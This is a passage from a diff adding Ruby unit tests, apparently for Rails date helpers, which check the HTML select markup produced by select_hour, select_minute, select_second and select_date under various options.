+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_hour_with_disabled
+    expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+  end
+
+  def test_select_hour_with_field_name_override
+    expected = %(<select id="date_heure" name="date[heure]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'heure')
+  end
+
+  def test_select_hour_with_blank
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+  end
+
+  def test_select_hour_nil_with_blank
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(nil, :include_blank => true)
+  end
+
+  def test_select_hour_with_html_options
+    expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+  end
+
+  def test_select_minute
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_minute_with_disabled
+    expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+  end
+
+  def test_select_minute_with_field_name_override
+    expected = %(<select id="date_minuto" name="date[minuto]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'minuto')
+  end
+
+  def test_select_minute_with_blank
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+  end
+
+  def test_select_minute_with_blank_and_step
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), { :include_blank => true , :minute_step => 15 })
+  end
+
+  def test_select_minute_nil_with_blank
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(nil, :include_blank => true)
+  end
+
+  def test_select_minute_nil_with_blank_and_step
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(nil, { :include_blank => true , :minute_step => 15 })
+  end
+
+  def test_select_minute_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, :use_hidden => true)
+  end
+
+  def test_select_minute_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, :use_hidden => true, :field_name => 'minuto')
+  end
+
+  def test_select_minute_with_html_options
+    expected = expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+
+    #result = select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+    #assert result.include?('<select id="date_minute" name="date[minute]"')
+    #assert result.include?('class="selector"')
+    #assert result.include?('accesskey="M"')
+    #assert result.include?('<option value="00">00')
+  end
+
+  def test_select_second
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_second_with_disabled
+    expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+  end
+
+  def test_select_second_with_field_name_override
+    expected = %(<select id="date_segundo" name="date[segundo]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'segundo')
+  end
+
+  def test_select_second_with_blank
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+  end
+
+  def test_select_second_nil_with_blank
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(nil, :include_blank => true)
+  end
+
+  def test_select_second_with_html_options
+    expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+
+    #result = select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+    #assert result.include?('<select id="date_second" name="date[second]"')
+    #assert result.include?('class="selector"')
+    #assert result.include?('accesskey="M"')
+    #assert result.include?('<option value="00">00')
+  end
+
+  def test_select_date
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_order
+    expected = %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected <<  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:month, :day, :year])
+  end
+
+  def test_select_date_with_incomplete_order
+    # NOTE: modified this test because of minimal API change
